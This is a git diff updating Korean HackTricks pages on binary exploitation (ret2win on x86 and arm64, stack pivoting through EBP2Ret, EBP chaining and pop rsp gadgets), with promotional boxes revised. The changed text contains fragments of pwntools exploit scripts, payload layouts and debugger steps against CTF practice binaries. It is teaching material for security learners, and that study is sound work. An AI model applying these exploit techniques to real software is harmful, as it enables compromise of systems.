+* ASLR가 있는 64비트, bin 주소의 leak 포함
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64비트, ASLR 없음
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
-* 32비트, ASLR 없음, 더블 스몰 오버플로우, 스택 오버플로우 및 두 번째 오버플로우 크기 확장
+* 32비트, ASLR 없음, 이중 소규모 오버플로우, 첫 번째로 스택을 오버플로우하고 두 번째 오버플로우의 크기를 늘림
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32비트, relro, 캐너리 없음, nx, pie 없음, 주소 `fflush`를 win 함수 (ret2win)으로 덮어쓰기 위한 형식 문자열
+* 32비트, relro, 카나리 없음, nx, pie 없음, `fflush` 주소를 `win` 함수로 덮어쓰는 포맷 문자열 (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
-* 32비트, nx, 그 외 아무것도 없음, EIP (1바이트)의 부분 덮어쓰기를 통해 win 함수를 호출
+* 32비트, nx, 그 외 없음, win 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
-* 32비트, nx, 그 외 아무것도 없음, EIP (1바이트)의 부분 덮어쓰기를 통해 win 함수를 호출
+* 32비트, nx, 그 외 없음, win 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
-* 프로그램은 입력의 크기를 확인하기 위해 숫자의 마지막 바이트만 유효성을 검사하므로 허용된 범위 내에서 마지막 바이트가 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 이용되는 버퍼 오버플로우를 생성합니다.
+* 프로그램은 입력 크기를 확인하기 위해 숫자의 마지막 바이트만 검증하므로, 마지막 바이트가 허용된 범위 내에 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 악용된 버퍼 오버플로우를 생성합니다.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-* 64비트, relro, 캐너리 없음, nx, pie. win 함수 (ret2win)를 호출하기 위한 부분 덮어쓰기
+* 64비트, relro, 카나리 없음, nx, pie. win 함수를 호출하기 위한 부분 덮어쓰기 (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-* arm64, PIE, win 함수의 PIE leak은 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯
+* arm64, PIE, win 함수는 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
-* ARM64, off-by-one을 사용하여 win 함수를 호출합니다.
+* ARM64, off-by-one으로 win 함수를 호출
## ARM64 예제
@@ -116,16 +117,17 @@ Python 스크립트는 `vulnerable_function`에서 처리될 때 정확히 조
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 AWS 해킹을 배우세요**!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index a1d5dc4d3..c7d4fd2ba 100644
--- a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -1,20 +1,25 @@
# Ret2win - arm64
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team 전문가)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
-* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
-[arm64 기본 어셈블리](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다.
+arm64에 대한 소개는 다음에서 확인하세요:
+
+{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
+{% endcontent-ref %}
## 코드
```c
@@ -35,7 +40,7 @@ vulnerable_function();
return 0;
}
```
-파이(Pie)와 캐너리(Canary) 없이 컴파일하기:
+파이 및 카나리 없이 컴파일:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
@@ -45,7 +50,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
이 예제는 [**GEF**](https://github.com/bata24/gef)를 사용하여 생성되었습니다:
-GEF로 gdb를 시작하고 패턴을 생성한 다음 사용하세요:
+gef로 gdb를 시작하고, 패턴을 생성한 후 사용합니다:
```bash
gdb -q ./ret2win
pattern create 200
@@ -53,17 +58,17 @@ run
```
-arm64는 레지스터 x30에 있는 주소로 반환하려고 시도할 것이며(이는 손상됨), 이를 사용하여 패턴 오프셋을 찾을 수 있습니다:
+arm64는 손상된 레지스터 x30의 주소로 돌아가려고 시도합니다. 이를 사용하여 패턴 오프셋을 찾을 수 있습니다:
```bash
pattern search $x30
```
-**오프셋은 72 (9x48)입니다.**
+**오프셋은 72입니다 (9x48).**
### 스택 오프셋 옵션
-먼저 pc 레지스터가 저장된 스택 주소를 얻는 것으로 시작합니다:
+pc 레지스터가 저장된 스택 주소를 가져오는 것부터 시작합니다:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@@ -72,7 +77,7 @@ info frame
```
-이제 `read()` 이후에 중단점을 설정하고 `read()`가 실행될 때까지 계속 진행하고 13371337과 같은 패턴을 설정하십시오:
+이제 `read()` 이후에 중단점을 설정하고 `read()`가 실행될 때까지 계속 진행한 다음 13371337과 같은 패턴을 설정합니다:
```
b *vulnerable_function+28
c
@@ -91,13 +96,13 @@ c
### Regular
-**`win`** 함수의 주소를 얻으세요:
+**`win`** 함수의 주소를 가져오세요:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 :
```
-악용:
+익스플로잇:
```python
from pwn import *
@@ -121,7 +126,7 @@ p.close()
### Off-by-1
-사실 이것은 스택에 저장된 PC에서 오프바이-2와 더 가까울 것입니다. 우리는 반환 주소 전체를 덮어쓰는 대신 **마지막 2바이트만** `0x06c4`로 덮어씁니다.
+사실 이것은 스택에 저장된 PC에서 오프 바이 2와 더 비슷할 것입니다. 모든 반환 주소를 덮어쓰는 대신 **마지막 2바이트만** `0x06c4`로 덮어쓸 것입니다.
```python
from pwn import *
@@ -143,17 +148,17 @@ p.close()
```
-ARM64에서 또 다른 off-by-one 예제를 찾을 수 있습니다. [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) 이곳에서 실제 off-by-**one** 취약점을 찾을 수 있습니다.
+ARM64에서 또 다른 off-by-one 예제를 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)에서 찾을 수 있으며, 이는 허구의 취약점에서 실제 off-by-**one**입니다.
## PIE와 함께
{% hint style="success" %}
-`-no-pie` 인자 없이 이진 파일을 컴파일합니다.
+바이너리를 **`-no-pie` 인수 없이 컴파일하세요**
{% endhint %}
### Off-by-2
-우리는 winning function의 정확한 주소를 알지 못하지만 함수의 오프셋을 알 수 있고, 덮어쓰는 반환 주소가 이미 가까운 주소를 가리키고 있음을 알 수 있기 때문에, 이 경우 win 함수의 오프셋(**0x7d4**)을 노출시키고 그 오프셋을 사용할 수 있습니다:
+리크가 없으면 승리 함수의 정확한 주소를 알 수 없지만, 바이너리에서 함수의 오프셋을 알 수 있으며, 우리가 덮어쓰고 있는 반환 주소가 이미 가까운 주소를 가리키고 있다는 것을 알면, 이 경우 승리 함수의 오프셋(**0x7d4**)을 리크하고 그 오프셋을 사용할 수 있습니다:
```python
@@ -175,16 +180,17 @@ p.send(payload)
print(p.recvline())
p.close()
```
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 영웅이 될 때까지 AWS 해킹 배우기htARTE (HackTricks AWS Red Team 전문가)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
-* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 2ef7639f2..0e8201b28 100644
--- a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -1,74 +1,75 @@
-# 스택 피벗팅 - EBP2Ret - EBP 체이닝
+# 스택 피벗 - EBP2Ret - EBP 체이닝
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
## 기본 정보
-이 기술은 **베이스 포인터 (EBP)**를 조작하여 EBP 레지스터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 악용합니다.
+이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.
-`leave`는 기본적으로 다음을 의미합니다:
+상기 사항으로, **`leave`**는 기본적으로 다음을 의미합니다:
```
mov ebp, esp
pop ebp
ret
```
-그리고 **EBP가 EIP보다 먼저 스택에 있기 때문에** 스택을 제어하여 EBP를 제어할 수 있습니다.
+And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
-이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접적으로 변경할 방법이 없을 때 특히 유용**합니다. 함수가 실행을 마치면서 동작을 활용합니다.
+이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
-`fvuln`의 실행 중에 스택에 **가짜 EBP**를 삽입하여 셸코드 주소가 위치한 메모리 영역을 가리키도록 설정하면(4바이트를 `pop` 작업을 고려하여 더한 상태), 간접적으로 EIP를 제어할 수 있습니다. `fvuln`이 반환되면 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시키므로, **사용자가 설정한 주소를 가리키도록 효과적으로 만듭니다.**\
-여기서 **2개의 주소를 알아야 한다는 점**에 주목하세요: ESP가 이동할 위치 및 ESP가 가리키는 주소를 써야 하는 주소.
+`fvuln` 실행 중에, **가짜 EBP**를 스택에 주입하여 쉘코드의 주소가 있는 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the `pop` operation), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 그곳에 저장한 주소를 가리키게 만듭니다.**\
+여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와 ESP가 가리키는 주소를 써야 할 주소입니다.
-#### Exploit 구성
+#### Exploit Construction
-먼저 **임의의 데이터/주소를 쓸 수 있는 주소를 알아야** 합니다. ESP는 여기를 가리키고 **첫 번째 `ret`를 실행**할 것입니다.
+먼저 **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가서 **첫 번째 `ret`**을 실행합니다.
-그런 다음, 임의의 코드를 **실행할 `ret`에 사용되는 주소**를 알아야 합니다. 다음을 사용할 수 있습니다:
+그 다음, **임의의 코드를 실행할** `ret`에서 사용되는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
* 유효한 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 주소.
-* **`system()`** 주소 뒤에 **4바이트의 쓰레기 바이트**와 `"/bin/sh"` 주소(x86 비트).
-* **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) 주소 뒤에 실행할 **셸코드**.
-* 일부 [**ROP**](../rop-return-oriented-programing/) 체인
+* **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 비트).
+* **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**.
+* 일부 [**ROP**](../rop-return-oriented-programing/) 체인.
-제어 가능한 메모리의 이 부분에 이러한 주소 중 어느 것이든 사용하기 전에 **`4`바이트**가 있어야 합니다. `leave` 명령의 **`pop`** 부분 때문에 이 4바이트를 악용하여 **두 번째 가짜 EBP를 설정하고 실행을 계속 제어**할 수 있습니다.
+제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분의 `leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속할 수 있습니다.
#### Off-By-One Exploit
-이 기술의 특정 변형인 "Off-By-One Exploit"이라고 알려진 것이 있습니다. 이는 **EBP의 가장 낮은 유효 바이트만 수정할 수 있는 경우** 사용됩니다. 이 경우, **`ret`로 이동할 주소를 저장하는 메모리 위치**는 EBP와 처음 세 바이트를 공유해야 하므로, 더 제약 조건으로 유사한 조작이 가능합니다.\
-보통 가장 멀리로 이동하기 위해 바이트 0x00을 수정합니다.
+이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 처음 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\
+보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.
-또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 놓아 새 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높일 수 있습니다.
+또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.
### **EBP Chaining**
-따라서, 스택의 `EBP` 항목에 제어 가능한 주소를 넣고 `EIP`에 `leave; ret` 주소를 넣으면 **`ESP`를 스택의 제어 가능한 `EBP` 주소로 이동**할 수 있습니다.
+따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP`에 `leave; ret` 주소를 넣으면, **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다**.
-이제 **`ESP`**가 원하는 주소를 가리키고 실행할 다음 명령이 `RET`인 상태입니다. 이를 악용하기 위해 제어 가능한 ESP 위치에 다음을 놓을 수 있습니다:
+이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
-* **`&(다음 가짜 EBP)`** -> `leave` 명령의 `pop ebp`로 새 EBP를 로드합니다.
+* **`&(next fake EBP)`** -> `leave` 명령어의 `pop ebp`로 인해 새로운 EBP를 로드합니다.
* **`system()`** -> `ret`에 의해 호출됩니다.
-* **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
-* **`&("/bin/sh")`**-> `system`의 매개변수
+* **`&(leave;ret)`** -> 시스템이 끝난 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
+* **`&("/bin/sh")`**-> `system`의 매개변수입니다.
-기본적으로 이 방법을 사용하여 프로그램의 흐름을 제어하는 여러 가짜 EBPs를 연결할 수 있습니다.
+기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
-이는 [ret2lib](../rop-return-oriented-programing/ret2lib/)과 유사하지만, 명백한 이점은 없지만 일부 특수한 경우에 흥미로울 수 있습니다.
+이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/)와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서는 흥미로울 수 있습니다.
-또한, 여기에는 이 기술을 사용하여 **승리 함수를 호출하는 스택 누출**을 사용하는 [**도전 과제 예제**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
+게다가, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
```python
from pwn import *
@@ -104,10 +105,10 @@ pause()
p.sendline(payload)
print(p.recvline())
```
-## EBP가 사용되지 않을 수 있음
+## EBP는 사용되지 않을 수 있음
-[**이 게시물에서 설명한대로**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 일부 최적화로 컴파일된 이진 파일의 경우 **EBP는 ESP를 제어하지 못합니다**, 따라서 EBP를 제어하여 작동하는 모든 exploit은 기본적으로 실제 효과가 없기 때문에 실패할 것입니다.\
-이는 이진 파일이 최적화되었을 때 **프롤로그와 에필로그가 변경**되기 때문입니다.
+[**이 게시물에서 설명된 바와 같이**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 이진 파일이 일부 최적화와 함께 컴파일되면, **EBP는 ESP를 제어하지 못합니다**, 따라서 EBP를 제어하여 작동하는 모든 익스플로잇은 기본적으로 실패하게 됩니다.\
+이는 **이진 파일이 최적화되면** **프롤로그와 에필로그가 변경되기 때문입니다.**
* **최적화되지 않음:**
```bash
@@ -135,7 +136,7 @@ ret # return
### **`pop rsp`** 가젯
-[**이 페이지**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)에서 이 기술을 사용한 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 사용하여 함수를 호출해야 했으며 **`pop rsp` 가젯**이 있으며 **스택에서의 누출**이 있었습니다:
+[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 누수**가 있었습니다:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@@ -179,7 +180,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
-### xchg \, rsp 가젯
+### xchg \, rsp gadget
```
pop <=== return pointer
@@ -187,33 +188,33 @@ xchg , rsp
```
### jmp esp
-여기서 ret2esp 기술을 확인하세요:
+ret2esp 기술에 대한 내용은 여기에서 확인하세요:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
-## 참고 자료 및 다른 예제
+## References & Other Examples
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
-* 64 bits, off by one exploitation with a rop chain starting with a ret sled
+* 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
-* 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
+* 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak과 qword의 WWW를 제공합니다. 먼저 스택 leak을 얻고 WWW를 사용하여 다시 돌아가 pie leak을 얻습니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
## ARM64
-ARM64에서 함수의 **프롤로그와 에필로그**는 **SP 레지스트리를 저장하고 검색하지 않습니다**. 더구나 **`RET`** 명령은 SP가 가리키는 주소로 돌아가지 않고 **`x30` 안의 주소로 돌아갑니다**.
+ARM64에서는 함수의 **프롤로그와 에필로그**가 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가 **`RET`** 명령은 SP가 가리키는 주소로 돌아가지 않고 **`x30`** 내부의 주소로 돌아갑니다.
-그러므로 기본적으로 에필로그를 남용하여 스택 내부의 데이터를 덮어쓰는 것으로 SP 레지스트리를 제어할 수 없습니다. 그리고 SP를 제어할 수 있다 하더라도 **`x30` 레지스터를 제어해야** 합니다.
+따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 **제어할 방법이 필요합니다**.
* 프롤로그
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
-mov x29, sp // FP points to frame record
